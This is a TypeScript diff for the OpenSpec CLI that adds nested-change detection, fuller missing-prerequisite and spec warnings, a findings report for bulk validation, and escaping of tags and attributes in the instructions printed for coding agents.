console.log(`${type === 'change' ? 'Change' : 'Specification'} '${id}' is valid`);
|
||||
} else {
|
||||
console.error(`${type === 'change' ? 'Change' : 'Specification'} '${id}' has issues`);
|
||||
for (const issue of report.issues) {
|
||||
const label = issue.level === 'ERROR' ? 'ERROR' : issue.level;
|
||||
const prefix = issue.level === 'ERROR' ? '✗' : issue.level === 'WARNING' ? '⚠' : 'ℹ';
|
||||
console.error(`${prefix} [${label}] ${issue.path}: ${issue.message}`);
|
||||
}
|
||||
}
|
||||
for (const issue of report.issues) {
|
||||
const prefix = issue.level === 'ERROR' ? '✗' : issue.level === 'WARNING' ? '⚠' : 'ℹ';
|
||||
console.error(`${prefix} [${issue.level}] ${issue.path}: ${issue.message}`);
|
||||
}
|
||||
if (!report.valid) {
|
||||
this.printNextSteps(type, id, root, report.issues);
|
||||
}
|
||||
}
|
||||
@@ -266,7 +384,13 @@ export class ValidateCommand {
|
||||
const invalidMarkerIssue = issues.some(i =>
|
||||
i.message.includes(VALIDATION_MESSAGES.CHANGE_SKIP_SPECS_INVALID_METADATA)
|
||||
);
|
||||
if (type === 'change' && conflictIssue) {
|
||||
// A namespace folder has no deltas to author, so the delta-authoring
|
||||
// bullets below would point at a directory that is not the change (#1846).
|
||||
const nestedIssue = issues.some(i => i.message.includes(NESTED_CHANGE_ISSUE_MARKER));
|
||||
if (type === 'change' && nestedIssue) {
|
||||
bullets.push('- Move each nested change directly under openspec/changes/, folding the namespace into its name');
|
||||
bullets.push('- Only specs may be nested by domain; change directories are always flat');
|
||||
} else if (type === 'change' && conflictIssue) {
|
||||
bullets.push('- This change declares skip_specs (no spec deltas): delete the files under specs/, or remove skip_specs from .openspec.yaml if requirements do change');
|
||||
bullets.push('- skip_specs is only honored when .openspec.yaml is valid change metadata (schema: <name> naming a known schema is required)');
|
||||
} else if (type === 'change' && invalidMarkerIssue) {
|
||||
@@ -285,7 +409,38 @@ export class ValidateCommand {
|
||||
bullets.forEach(b => console.error(` ${b}`));
|
||||
}
|
||||
|
||||
private async runBulkValidation(root: ResolvedOpenSpecRoot, scope: { changes: boolean; specs: boolean }, opts: { strict: boolean; json: boolean; concurrency?: string; noInteractive?: boolean }): Promise<void> {
|
||||
private printFindingsReport(full: BulkValidationResult, scope: BulkScope, json: boolean, root: ResolvedOpenSpecRoot): void {
|
||||
const findings = projectValidationFindings(full, scope);
|
||||
if (json) {
|
||||
console.log(JSON.stringify(findings, null, 2));
|
||||
return;
|
||||
}
|
||||
console.log(`Scope: ${scope} (${findings.report.totalItems} items)`);
|
||||
if (findings.itemFindings.length === 0) {
|
||||
console.log('No item findings.');
|
||||
}
|
||||
for (const item of findings.itemFindings) {
|
||||
console.error(`${item.type}/${item.id}`);
|
||||
for (const issue of item.issues) {
|
||||
console.error(` [${issue.level}] ${issue.path}: ${issue.message}`);
|
||||
}
|
||||
}
|
||||
const totals = findings.summary.totals;
|
||||
console.log(`Totals: ${totals.passed} passed, ${totals.failed} failed (${totals.items} items)`);
|
||||
if (scope !== 'archived') this.printBulkDetails(full.items, root);
|
||||
}
|
||||
|
||||
private printBulkDetails(results: BulkItemResult[], root: ResolvedOpenSpecRoot): void {
|
||||
const firstFailure = results.find((res) => !res.valid);
|
||||
if (firstFailure) {
|
||||
const storeFlag = isStoreSelectedRoot(root) ? ` --store ${root.storeId}` : '';
|
||||
console.log(
|
||||
`Details: openspec validate ${firstFailure.id} --type ${firstFailure.type}${storeFlag}`
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
private async runBulkValidation(root: ResolvedOpenSpecRoot, scope: { changes: boolean; specs: boolean }, opts: { strict: boolean; json: boolean; concurrency?: string; noInteractive?: boolean; findingsScope?: BulkScope }): Promise<void> {
|
||||
const spinner = !opts.json && !opts.noInteractive ? ora('Validating...').start() : undefined;
|
||||
const [changeIds, specIds] = await Promise.all([
|
||||
scope.changes ? this.listChangeIds(root) : Promise.resolve<string[]>([]),
|
||||
@@ -302,6 +457,16 @@ export class ValidateCommand {
|
||||
queue.push(async () => {
|
||||
const start = Date.now();
|
||||
const changeDir = path.join(root.changesDir, id);
|
||||
const nestedReport = await this.nestedChangeReport(root, id);
|
||||
if (nestedReport) {
|
||||
return {
|
||||
id,
|
||||
type: 'change' as const,
|
||||
valid: false,
|
||||
issues: nestedReport.issues,
|
||||
durationMs: Date.now() - start,
|
||||
};
|
||||
}
|
||||
const report = await validator.validateChangeDeltaSpecs(changeDir, {
|
||||
mainSpecsDir: root.specsDir,
|
||||
projectRoot: root.path,
|
||||
@@ -331,7 +496,9 @@ export class ValidateCommand {
|
||||
},
|
||||
} as const;
|
||||
|
||||
if (opts.json) {
|
||||
if (opts.findingsScope) {
|
||||
this.printFindingsReport({ items: [], summary, root: toRootOutput(root) }, opts.findingsScope, opts.json, root);
|
||||
} else if (opts.json) {
|
||||
const out = { items: [] as BulkItemResult[], summary, version: '1.0', root: toRootOutput(root) };
|
||||
console.log(JSON.stringify(out, null, 2));
|
||||
} else {
|
||||
@@ -387,22 +554,22 @@ export class ValidateCommand {
|
||||
},
|
||||
} as const;
|
||||
|
||||
if (opts.json) {
|
||||
if (opts.findingsScope) {
|
||||
this.printFindingsReport({ items: results, summary, root: toRootOutput(root) }, opts.findingsScope, opts.json, root);
|
||||
} else if (opts.json) {
|
||||
const out = { items: results, summary, version: '1.0', root: toRootOutput(root) };
|
||||
console.log(JSON.stringify(out, null, 2));
|
||||
} else {
|
||||
for (const res of results) {
|
||||
if (res.valid) console.log(`✓ ${res.type}/${res.id}`);
|
||||
else console.error(`✗ ${res.type}/${res.id}`);
|
||||
for (const issue of res.issues) {
|
||||
const prefix = issue.level === 'ERROR' ? '✗' : issue.level === 'WARNING' ? '⚠' : 'ℹ';
|
||||
console.error(` ${prefix} [${issue.level}] ${issue.path}: ${issue.message}`);
|
||||
}
|
||||
}
|
||||
console.log(`Totals: ${summary.totals.passed} passed, ${summary.totals.failed} failed (${summary.totals.items} items)`);
|
||||
const firstFailure = results.find((res) => !res.valid);
|
||||
if (firstFailure) {
|
||||
const storeFlag = isStoreSelectedRoot(root) ? ` --store ${root.storeId}` : '';
|
||||
console.log(
|
||||
`Details: openspec validate ${firstFailure.id} --type ${firstFailure.type}${storeFlag}`
|
||||
);
|
||||
}
|
||||
this.printBulkDetails(results, root);
|
||||
}
|
||||
|
||||
process.exitCode = failed > 0 ? 1 : 0;
|
||||
@@ -443,7 +610,7 @@ export class ValidateCommand {
|
||||
*/
|
||||
private async runArchivedTaskValidation(
|
||||
root: ResolvedOpenSpecRoot,
|
||||
opts: { json: boolean; noInteractive?: boolean }
|
||||
opts: { json: boolean; noInteractive?: boolean; findingsScope?: BulkScope }
|
||||
): Promise<void> {
|
||||
// List first (may throw on a real archive-read failure), then start the
|
||||
// spinner so a thrown error never leaves a spinner spinning.
|
||||
@@ -502,6 +669,12 @@ export class ValidateCommand {
|
||||
byType: { change: summarizeType(results, 'change') },
|
||||
} as const;
|
||||
|
||||
if (opts.findingsScope) {
|
||||
this.printFindingsReport({ items: results, summary, root: toRootOutput(root) }, opts.findingsScope, opts.json, root);
|
||||
process.exitCode = failed > 0 ? 1 : 0;
|
||||
return;
|
||||
}
|
||||
|
||||
if (opts.json) {
|
||||
const out = { items: results, summary, version: '1.0', root: toRootOutput(root) };
|
||||
console.log(JSON.stringify(out, null, 2));
|
||||
|
||||
@@ -16,6 +16,8 @@ import {
|
||||
resolveArtifactOutputs,
|
||||
type ArtifactInstructions,
|
||||
} from '../../core/artifact-graph/index.js';
|
||||
import { isSpecsArtifactPath } from '../../core/artifact-graph/outputs.js';
|
||||
import { findUnreadDeltaFiles } from '../../utils/spec-discovery.js';
|
||||
import {
|
||||
getChangeDir,
|
||||
resolveCurrentPlanningHomeSync,
|
||||
@@ -30,8 +32,11 @@ import {
|
||||
} from '../../core/root-selection.js';
|
||||
import {
|
||||
assembleReferenceIndex,
|
||||
escapeEnvelopeAttribute,
|
||||
escapeEnvelopeTags,
|
||||
renderReferencedStoresBlock,
|
||||
renderReferencedStoresSection,
|
||||
sanitizeInline,
|
||||
type ReferenceIndexEntry,
|
||||
} from '../../core/references.js';
|
||||
import { readRegistrySnapshot } from '../../core/store/registry.js';
|
||||
@@ -48,6 +53,7 @@ import {
|
||||
type ArchiveInstructions,
|
||||
} from './shared.js';
|
||||
import { parseTaskLines, type ParsedTask } from '../../utils/task-progress.js';
|
||||
import { METADATA_FILENAME } from '../../utils/change-metadata.js';
|
||||
|
||||
// -----------------------------------------------------------------------------
|
||||
// Types
|
||||
@@ -196,8 +202,14 @@ export function printInstructionsText(instructions: ArtifactInstructions, isBloc
|
||||
unlocks,
|
||||
} = instructions;
|
||||
|
||||
// Opening tag
|
||||
console.log(`<artifact id="${artifactId}" change="${changeName}" schema="${schemaName}">`);
|
||||
// Opening tag. The change name is a directory name read from disk, and the
|
||||
// read path rejects only separators and NUL - a quote in it would otherwise
|
||||
// close the attribute and forge siblings on this tag.
|
||||
console.log(
|
||||
`<artifact id="${escapeEnvelopeAttribute(artifactId)}"` +
|
||||
` change="${escapeEnvelopeAttribute(changeName)}"` +
|
||||
` schema="${escapeEnvelopeAttribute(schemaName)}">`
|
||||
);
|
||||
console.log();
|
||||
|
||||
// Artifacts skipped via skip_specs get no creation directive: emitting the
|
||||
@@ -224,8 +236,10 @@ export function printInstructionsText(instructions: ArtifactInstructions, isBloc
|
||||
|
||||
// Task directive
|
||||
console.log('<task>');
|
||||
console.log(`Create the ${artifactId} artifact for change "${changeName}".`);
|
||||
console.log(description);
|
||||
console.log(
|
||||
`Create the ${escapeEnvelopeTags(artifactId)} artifact for change "${escapeEnvelopeTags(changeName)}".`
|
||||
);
|
||||
console.log(escapeEnvelopeTags(description));
|
||||
console.log('</task>');
|
||||
console.log();
|
||||
|
||||
@@ -233,7 +247,7 @@ export function printInstructionsText(instructions: ArtifactInstructions, isBloc
|
||||
if (context) {
|
||||
console.log('<project_context>');
|
||||
console.log('<!-- This is background information for you. Do NOT include this in your output. -->');
|
||||
console.log(context);
|
||||
console.log(escapeEnvelopeTags(context));
|
||||
console.log('</project_context>');
|
||||
console.log();
|
||||
}
|
||||
@@ -249,7 +263,9 @@ export function printInstructionsText(instructions: ArtifactInstructions, isBloc
|
||||
console.log('<rules>');
|
||||
console.log('<!-- These are constraints for you to follow. Do NOT include this in your output. -->');
|
||||
for (const rule of rules) {
|
||||
console.log(`- ${rule}`);
|
||||
// Flattened so a newline cannot forge a sibling bullet, but never
|
||||
// truncated: these are instructions an agent has to follow in full.
|
||||
console.log(`- ${escapeEnvelopeTags(sanitizeInline(rule, Infinity))}`);
|
||||
}
|
||||
console.log('</rules>');
|
||||
console.log();
|
||||
@@ -274,7 +290,7 @@ export function printInstructionsText(instructions: ArtifactInstructions, isBloc
|
||||
const fullPath = path.join(changeDir, dep.path);
|
||||
console.log(`<dependency id="${dep.id}" status="${status}">`);
|
||||
console.log(` <path>${fullPath}</path>`);
|
||||
console.log(` <description>${dep.description}</description>`);
|
||||
console.log(` <description>${escapeEnvelopeTags(dep.description)}</description>`);
|
||||
console.log('</dependency>');
|
||||
}
|
||||
console.log('</dependencies>');
|
||||
@@ -290,7 +306,7 @@ export function printInstructionsText(instructions: ArtifactInstructions, isBloc
|
||||
// Instruction (guidance)
|
||||
if (instruction) {
|
||||
console.log('<instruction>');
|
||||
console.log(instruction.trim());
|
||||
console.log(escapeEnvelopeTags(instruction.trim()));
|
||||
console.log('</instruction>');
|
||||
console.log();
|
||||
}
|
||||
@@ -298,7 +314,10 @@ export function printInstructionsText(instructions: ArtifactInstructions, isBloc
|
||||
// Template
|
||||
console.log('<template>');
|
||||
console.log('<!-- Use this as the structure for your output file. Fill in the sections. -->');
|
||||
console.log(template.trim());
|
||||
// Copied verbatim into the artifact file, so its `<!-- ... -->` comments and
|
||||
// `<placeholder>` markers must survive - only the envelope's own closing
|
||||
// tags are neutralized.
|
||||
console.log(escapeEnvelopeTags(template.trim()));
|
||||
console.log('</template>');
|
||||
console.log();
|
||||
|
||||
@@ -350,6 +369,136 @@ function toTaskItems(parsed: ParsedTask[]): TaskItem[] {
|
||||
return tasks;
|
||||
}
|
||||
|
||||
/**
|
||||
* The command that builds one artifact.
|
||||
*
|
||||
* Every earlier remedy here named the `openspec-continue-change` skill, which
|
||||
* the `core` profile never installs - the advice was a dead end for the default
|
||||
* install. The CLI verb exists on every profile and is what the skill runs.
|
||||
*/
|
||||
function describeArtifactRemedy(
|
||||
changeName: string,
|
||||
artifactId?: string,
|
||||
options: { many?: boolean } = {}
|
||||
): string {
|
||||
const target = artifactId ?? '<artifact>';
|
||||
const verb = options.many ? 'Create each with' : 'Create it with';
|
||||
return (
|
||||
`${verb} \`openspec instructions ${target} --change ${changeName}\`` +
|
||||
` (\`openspec status --change ${changeName}\` shows what is left).`
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Finds the artifact a schema path is generated by, so a remedy can name it.
|
||||
*/
|
||||
function findArtifactIdFor(
|
||||
schema: { artifacts: { id: string; generates: string }[] },
|
||||
generates: string
|
||||
): string | undefined {
|
||||
return schema.artifacts.find((artifact) => artifact.generates === generates)?.id;
|
||||
}
|
||||
|
||||
/**
|
||||
* Everything still to build before apply can run, in build order.
|
||||
*
|
||||
* Apply blocks on the schema's `apply.requires` alone, so its own list stops at
|
||||
* the first hop: a change with only a proposal is told "Missing artifacts:
|
||||
* tasks" while the specs `tasks` depends on are missing too. An agent that
|
||||
* takes that literally writes the tracking file straight from the proposal and
|
||||
* skips the artifacts in between - the failure reported in #834 and #869.
|
||||
* Walking `requires` names the whole chain, the same set and order
|
||||
* `openspec status` already prints, without changing what apply blocks on.
|
||||
*/
|
||||
function collectMissingPrerequisites(input: {
|
||||
requiredArtifactIds: string[];
|
||||
schema: { artifacts: { id: string; requires: string[] }[] };
|
||||
buildOrder: string[];
|
||||
completed: Set<string>;
|
||||
}): string[] {
|
||||
const { requiredArtifactIds, schema, buildOrder, completed } = input;
|
||||
const byId = new Map(schema.artifacts.map((artifact) => [artifact.id, artifact]));
|
||||
const missing = new Set<string>();
|
||||
const queue = [...requiredArtifactIds];
|
||||
const seen = new Set<string>(queue);
|
||||
|
||||
while (queue.length > 0) {
|
||||
const id = queue.shift() as string;
|
||||
const artifact = byId.get(id);
|
||||
if (!artifact) continue;
|
||||
if (!completed.has(id)) missing.add(id);
|
||||
for (const dependency of artifact.requires) {
|
||||
if (seen.has(dependency)) continue;
|
||||
seen.add(dependency);
|
||||
queue.push(dependency);
|
||||
}
|
||||
}
|
||||
|
||||
const order = new Map(buildOrder.map((id, index) => [id, index]));
|
||||
return [...missing].sort(
|
||||
(a, b) => (order.get(a) ?? 0) - (order.get(b) ?? 0)
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Warnings apply reports alongside its instruction.
|
||||
*
|
||||
* Apply gates on the schema's `apply.requires` only, so a change whose tasks
|
||||
* file was written ahead of its specs reads as ready even though no delta spec
|
||||
* exists - the state `openspec validate` rejects. Blocking here would be a
|
||||
* policy change; naming the gap is not, and it is what keeps apply from being
|
||||
* the one surface that green-lights a change every other surface flags.
|
||||
*
|
||||
* Only reported once apply is past its own gate: for a change that has not
|
||||
* reached tasks yet, the missing specs are the next step rather than a warning.
|
||||
* Schemas that declare no spec-producing artifact carry `skip_specs` from
|
||||
* creation, so this never fires on them.
|
||||
*
|
||||
* A delta file the merge path never reads (specs/<capability>.md, a note
|
||||
* beside spec.md) still satisfies the specs glob, so it reads as written here
|
||||
* while validate rejects it and archive would drop it. Each one is named.
|
||||
*/
|
||||
async function collectApplyWarnings(input: {
|
||||
state: ApplyInstructions['state'];
|
||||
schema: { artifacts: { id: string; generates: string }[] };
|
||||
changeDir: string;
|
||||
changeName: string;
|
||||
skippedArtifacts?: Set<string>;
|
||||
}): Promise<string[]> {
|
||||
const { state, schema, changeDir, changeName, skippedArtifacts } = input;
|
||||
if (state === 'blocked') return [];
|
||||
|
||||
const specArtifacts = schema.artifacts.filter((artifact) =>
|
||||
isSpecsArtifactPath(artifact.generates)
|
||||
);
|
||||
if (specArtifacts.length === 0) return [];
|
||||
if (specArtifacts.some((artifact) => skippedArtifacts?.has(artifact.id))) return [];
|
||||
const warnings = (await findUnreadDeltaFiles(path.join(changeDir, 'specs'))).map(
|
||||
(file) =>
|
||||
`specs/${file.path} is not a capability's spec.md, so \`openspec validate ${changeName}\` rejects it and archive never merges it. ` +
|
||||
`Move its requirements into specs/${file.expected}.`
|
||||
);
|
||||
const hasDeltas = specArtifacts.some(
|
||||
(artifact) => resolveArtifactOutputs(changeDir, artifact.generates).length > 0
|
||||
);
|
||||
if (hasDeltas) return warnings;
|
||||
|
||||
const metadataPath = path.join(changeDir, METADATA_FILENAME);
|
||||
// The command names the artifact this schema actually declares, never the
|
||||
// literal `specs`. A schema whose spec-producing artifact is `contracts` was
|
||||
// told to run `openspec instructions specs`, an artifact it does not have,
|
||||
// so the warning dead-ended at the exact step meant to resolve it. With more
|
||||
// than one such artifact there is no single right answer, so the id becomes
|
||||
// a placeholder rather than a guess.
|
||||
const specTarget = specArtifacts.length === 1 ? specArtifacts[0].id : '<artifact-id>';
|
||||
return [
|
||||
...warnings,
|
||||
`This change has no delta specs and does not declare \`skip_specs: true\`, so \`openspec validate ${changeName}\` fails on it. ` +
|
||||
`Write the delta specs before implementing (\`openspec instructions ${specTarget} --change ${changeName}\`), ` +
|
||||
`or add \`skip_specs: true\` to ${metadataPath} if this change really changes no specified behavior.`,
|
||||
];
|
||||
}
|
||||
|
||||
export interface GenerateApplyInstructionsOptions {
|
||||
planningHome?: PlanningHome;
|
||||
references?: ReferenceIndexEntry[];
|
||||
@@ -403,6 +552,14 @@ export async function generateApplyInstructions(
|
||||
}
|
||||
}
|
||||
|
||||
// Everything still to build, not just the first hop apply blocks on.
|
||||
const missingPrerequisites = collectMissingPrerequisites({
|
||||
requiredArtifactIds: [...requiredArtifactIds],
|
||||
schema,
|
||||
buildOrder: context.graph.getBuildOrder(),
|
||||
completed: context.completed,
|
||||
});
|
||||
|
||||
// Build context files from all existing artifacts in schema
|
||||
const contextFiles: Record<string, string[]> = {};
|
||||
for (const artifact of schema.artifacts) {
|
||||
@@ -437,18 +594,35 @@ export async function generateApplyInstructions(
|
||||
|
||||
if (missingArtifacts.length > 0) {
|
||||
state = 'blocked';
|
||||
instruction = `Cannot apply this change yet. Missing artifacts: ${missingArtifacts.join(', ')}.\nUse the openspec-continue-change skill to create the missing artifacts first.`;
|
||||
const chain =
|
||||
missingPrerequisites.length > missingArtifacts.length
|
||||
? `\nNot created yet, in build order: ${missingPrerequisites.join(', ')}.` +
|
||||
` Build the ones this change needs before applying - the schema says which are conditional.`
|
||||
: '';
|
||||
instruction =
|
||||
`Cannot apply this change yet. Missing artifacts: ${missingArtifacts.join(', ')}.${chain}` +
|
||||
`\n${describeArtifactRemedy(
|
||||
changeName,
|
||||
// Only name one when one is left: the first of several would be the
|
||||
// schema's conditional artifact as often as not.
|
||||
missingPrerequisites.length === 1 ? missingPrerequisites[0] : undefined,
|
||||
{ many: missingPrerequisites.length > 1 }
|
||||
)}`;
|
||||
} else if (tracksFile && !tracksFileExists) {
|
||||
// Tracking file configured but doesn't exist yet
|
||||
const tracksFilename = path.basename(tracksFile);
|
||||
state = 'blocked';
|
||||
instruction = `The ${tracksFilename} file is missing and must be created.\nUse openspec-continue-change to generate the tracking file.`;
|
||||
instruction =
|
||||
`The ${tracksFilename} file is missing and must be created.` +
|
||||
`\n${describeArtifactRemedy(changeName, findArtifactIdFor(schema, tracksFile))}`;
|
||||
} else if (tracksFile && tracksFileExists && tasks.length === 0) {
|
||||
// Tracking file exists but lists nothing an agent can work on: either no
|
||||
// checkboxes at all, or only checkboxes with no text after them.
|
||||
const tracksFilename = path.basename(tracksFile);
|
||||
state = 'blocked';
|
||||
instruction = `The ${tracksFilename} file exists but contains no tasks to work on.\nAdd tasks to ${tracksFilename} or regenerate it with openspec-continue-change.`;
|
||||
instruction =
|
||||
`The ${tracksFilename} file exists but contains no tasks to work on.` +
|
||||
`\nAdd tasks to ${tracksFilename}, or rebuild it: ${describeArtifactRemedy(changeName, findArtifactIdFor(schema, tracksFile))}`;
|
||||
} else if (tracksFile && remaining === 0 && total > 0) {
|
||||
state = 'all_done';
|
||||
instruction = 'All tasks are complete! This change is ready to be archived.\nConsider running tests and reviewing the changes before archiving.';
|
||||
@@ -461,6 +635,14 @@ export async function generateApplyInstructions(
|
||||
instruction = schemaInstruction?.trim() ?? 'Read context files, work through pending tasks, mark complete as you go.\nPause if you hit blockers or need clarification.';
|
||||
}
|
||||
|
||||
const warnings = await collectApplyWarnings({
|
||||
state,
|
||||
schema,
|
||||
changeDir,
|
||||
changeName,
|
||||
skippedArtifacts: context.skippedArtifacts,
|
||||
});
|
||||
|
||||
return {
|
||||
changeName,
|
||||
changeDir,
|
||||
@@ -470,6 +652,8 @@ export async function generateApplyInstructions(
|
||||
tasks,
|
||||
state,
|
||||
missingArtifacts: missingArtifacts.length > 0 ? missingArtifacts : undefined,
|
||||
...(missingPrerequisites.length > 0 ? { missingPrerequisites } : {}),
|
||||
...(warnings.length > 0 ? { warnings } : {}),
|
||||
instruction,
|
||||
...(references !== undefined ? { references } : {}),
|
||||
...operationInputs,
|
||||
@@ -524,7 +708,7 @@ export async function applyInstructionsCommand(options: ApplyInstructionsOptions
|
||||
}
|
||||
|
||||
export function printApplyInstructionsText(instructions: ApplyInstructions): void {
|
||||
const { changeName, schemaName, contextFiles, progress, tasks, state, missingArtifacts, instruction } = instructions;
|
||||
const { changeName, schemaName, contextFiles, progress, tasks, state, missingArtifacts, warnings, instruction } = instructions;
|
||||
|
||||
console.log(`## Apply: ${changeName}`);
|
||||
console.log(`Schema: ${schemaName}`);
|
||||
@@ -540,7 +724,23 @@ export function printApplyInstructionsText(instructions: ApplyInstructions): voi
|
||||
console.log('### ⚠️ Blocked');
|
||||
console.log();
|
||||
console.log(`Missing artifacts: ${missingArtifacts.join(', ')}`);
|
||||
console.log('Use the openspec-continue-change skill to create these first.');
|
||||
if (
|
||||
instructions.missingPrerequisites &&
|
||||
instructions.missingPrerequisites.length > missingArtifacts.length
|
||||
) {
|
||||
console.log(
|
||||
`Not created yet, in build order: ${instructions.missingPrerequisites.join(', ')}`
|
||||
);
|
||||
}
|
||||
console.log();
|
||||
}
|
||||
|
||||
if (warnings && warnings.length > 0) {
|
||||
console.log('### ⚠️ Warnings');
|
||||
console.log();
|
||||
for (const warning of warnings) {
|
||||
console.log(`- ${warning}`);
|
||||
}
|
||||
console.log();
|
||||
}
|
||||
|
||||
@@ -641,6 +841,8 @@ function printOperationInputsText(inputs: {
|
||||
}): void {
|
||||
if (inputs.context) {
|
||||
console.log('### Project Context (required instruction input)');
|
||||
// Printed verbatim on purpose. Escaping a leading `#` would also fire inside
|
||||
// fenced code (`# install deps`), so heading forgery is not guarded here.
|
||||
console.log(inputs.context);
|
||||
console.log();
|
||||
}
|
||||
@@ -648,7 +850,7 @@ function printOperationInputsText(inputs: {
|
||||
if (inputs.operationGuidance && inputs.operationGuidance.length > 0) {
|
||||
console.log('### Operation Guidance (advisory)');
|
||||
for (const guidance of inputs.operationGuidance) {
|
||||
console.log(`- ${guidance}`);
|
||||
console.log(`- ${sanitizeInline(guidance, Infinity)}`);
|
||||
}
|
||||
console.log();
|
||||
}
|
||||
|
||||
@@ -7,6 +7,7 @@
|
||||
* this command.
|
||||
*/
|
||||
|
||||
import chalk from 'chalk';
|
||||
import ora from 'ora';
|
||||
import path from 'path';
|
||||
import { createChange, validateChangeName } from '../../utils/change-utils.js';
|
||||
@@ -85,6 +86,33 @@ function printCreatedChangeHuman(
|
||||
console.log(`Next: ${withStoreFlag(root, `openspec status --change ${payload.change.id}`)}`);
|
||||
}
|
||||
|
||||
/**
|
||||
* An implicit root is the fallback taken when no `openspec/` directory was
|
||||
* found: creating a change there materializes OpenSpec in whatever directory
|
||||
* the caller happened to be in, which is how an agent ends up adopting a
|
||||
* project that never ran `openspec init` (#1645). The creation itself stays
|
||||
* zero-config; this only makes it visible.
|
||||
*/
|
||||
function printImplicitRootNotice(root: ResolvedOpenSpecRoot): void {
|
||||
if (root.source !== 'implicit') {
|
||||
return;
|
||||
}
|
||||
|
||||
const openspecDir = path.dirname(root.changesDir);
|
||||
const relative = path.relative(process.cwd(), openspecDir);
|
||||
const location = relative && !relative.startsWith('..') ? relative : openspecDir;
|
||||
|
||||
console.log();
|
||||
console.log(
|
||||
chalk.dim(`Note: no OpenSpec root was found here, so one was created at ${location}/.`)
|
||||
);
|
||||
console.log(
|
||||
chalk.dim(
|
||||
'Run `openspec init` to finish setting this project up, or delete that directory if you meant a different project.'
|
||||
)
|
||||
);
|
||||
}
|
||||
|
||||
export async function newChangeCommand(name: string | undefined, options: NewChangeOptions): Promise<void> {
|
||||
const spinner = options.json ? undefined : ora();
|
||||
|
||||
@@ -153,6 +181,7 @@ export async function newChangeCommand(name: string | undefined, options: NewCha
|
||||
|
||||
spinner?.stop();
|
||||
printCreatedChangeHuman(payload, root);
|
||||
printImplicitRootNotice(root);
|
||||
} catch (error) {
|
||||
spinner?.stop();
|
||||
if (options.json) {
|
||||
|
||||
@@ -7,6 +7,10 @@
|
||||
|
||||
import chalk from 'chalk';
|
||||
import path from 'path';
|
||||
import {
|
||||
describeNestedChange,
|
||||
findNestedChangesIn,
|
||||
} from '../../utils/nested-change.js';
|
||||
import * as fs from 'fs';
|
||||
import { getSchemaDir, listSchemas } from '../../core/artifact-graph/index.js';
|
||||
import type { ReferenceIndexEntry } from '../../core/references.js';
|
||||
@@ -43,6 +47,14 @@ export interface ApplyInstructions {
|
||||
tasks: TaskItem[];
|
||||
state: 'blocked' | 'all_done' | 'ready';
|
||||
missingArtifacts?: string[];
|
||||
/**
|
||||
* Everything still to build before apply can run, in build order - the
|
||||
* transitive closure of the schema's `apply.requires`, so it can be longer
|
||||
* than `missingArtifacts`, which stops at the first hop apply blocks on.
|
||||
*/
|
||||
missingPrerequisites?: string[];
|
||||
/** Non-blocking problems with the change, reported alongside the instruction. */
|
||||
warnings?: string[];
|
||||
instruction: string;
|
||||
/** Referenced-store index (read-only upstream context; omitted when none declared) */
|
||||
references?: ReferenceIndexEntry[];
|
||||
@@ -223,6 +235,14 @@ export async function validateChangeExists(
|
||||
);
|
||||
}
|
||||
|
||||
// The directory exists but is a namespace folder wrapping nested change
|
||||
// directories. Every artifact lookup below it would report "not started" for
|
||||
// work that is in fact there, so say what is actually wrong instead (#1846).
|
||||
const nested = await findNestedChangesIn(changesDir, changeName);
|
||||
if (nested) {
|
||||
throw new Error(describeNestedChange(nested));
|
||||
}
|
||||
|
||||
return changeName;
|
||||
}
|
||||
|
||||
|
||||
@@ -19,7 +19,12 @@ import {
|
||||
formatChangeStatus,
|
||||
type ChangeStatus,
|
||||
} from '../../core/artifact-graph/index.js';
|
||||
import { resolveNextStep } from '../../core/change-status-policy.js';
|
||||
import { asStatus } from '../shared-output.js';
|
||||
import {
|
||||
describeNestedChange,
|
||||
findNestedChanges,
|
||||
} from '../../utils/nested-change.js';
|
||||
import type { StoreDiagnostic } from '../../core/store/errors.js';
|
||||
import {
|
||||
validateChangeExists,
|
||||
@@ -82,6 +87,11 @@ export async function statusCommand(options: StatusOptions): Promise<void> {
|
||||
const rootOutput = toRootOutput(root);
|
||||
const newChangeHint = withStoreFlag(root, 'openspec new change <name>');
|
||||
|
||||
// One store-flag decision serves the JSON `nextSteps` sentence and the text
|
||||
// `Next:` line, so a store-selected root can never carry `--store` in one
|
||||
// and drop it from the other.
|
||||
const storeOptions = isStoreSelectedRoot(root) ? { storeId: root.storeId } : {};
|
||||
|
||||
// Single definition of "load one change's status" so the batch and
|
||||
// single-change payloads can never drift apart.
|
||||
const loadStatus = (changeName: string): ChangeStatus =>
|
||||
@@ -90,7 +100,7 @@ export async function statusCommand(options: StatusOptions): Promise<void> {
|
||||
changeDir: getChangeDir(planningHome, changeName),
|
||||
planningHome,
|
||||
}),
|
||||
isStoreSelectedRoot(root) ? { storeId: root.storeId } : {}
|
||||
storeOptions
|
||||
);
|
||||
|
||||
// Handle no-changes case gracefully — status is informational,
|
||||
@@ -124,7 +134,25 @@ export async function statusCommand(options: StatusOptions): Promise<void> {
|
||||
// with the same comparator validate --all uses so the two batch
|
||||
// commands order a given change set identically.
|
||||
const entries: BatchStatusEntry[] = [];
|
||||
// The sweep reads each directory straight through `loadStatus`, so a
|
||||
// namespace folder wrapping nested changes would report a whole
|
||||
// artifact plan for work that is not there (#1846). It carries the same
|
||||
// per-change diagnostic a malformed change does.
|
||||
const nestedByName = new Map(
|
||||
(await findNestedChanges(root.changesDir, available)).map((finding) => [
|
||||
finding.name,
|
||||
finding,
|
||||
])
|
||||
);
|
||||
for (const changeName of available.sort((a, b) => a.localeCompare(b))) {
|
||||
const nested = nestedByName.get(changeName);
|
||||
if (nested) {
|
||||
entries.push({
|
||||
changeName,
|
||||
status: [asStatus(new Error(describeNestedChange(nested)), 'change_error')],
|
||||
});
|
||||
continue;
|
||||
}
|
||||
try {
|
||||
entries.push(loadStatus(changeName));
|
||||
} catch (error) {
|
||||
@@ -150,7 +178,7 @@ export async function statusCommand(options: StatusOptions): Promise<void> {
|
||||
console.log();
|
||||
}
|
||||
if ('artifacts' in entry) {
|
||||
printStatusText(entry);
|
||||
printStatusText(entry, storeOptions);
|
||||
} else {
|
||||
console.log(chalk.red(`✗ ${entry.changeName}: ${entry.status[0]?.message}`));
|
||||
}
|
||||
@@ -195,14 +223,19 @@ export async function statusCommand(options: StatusOptions): Promise<void> {
|
||||
return;
|
||||
}
|
||||
|
||||
printStatusText(status);
|
||||
printStatusText(status, storeOptions);
|
||||
} catch (error) {
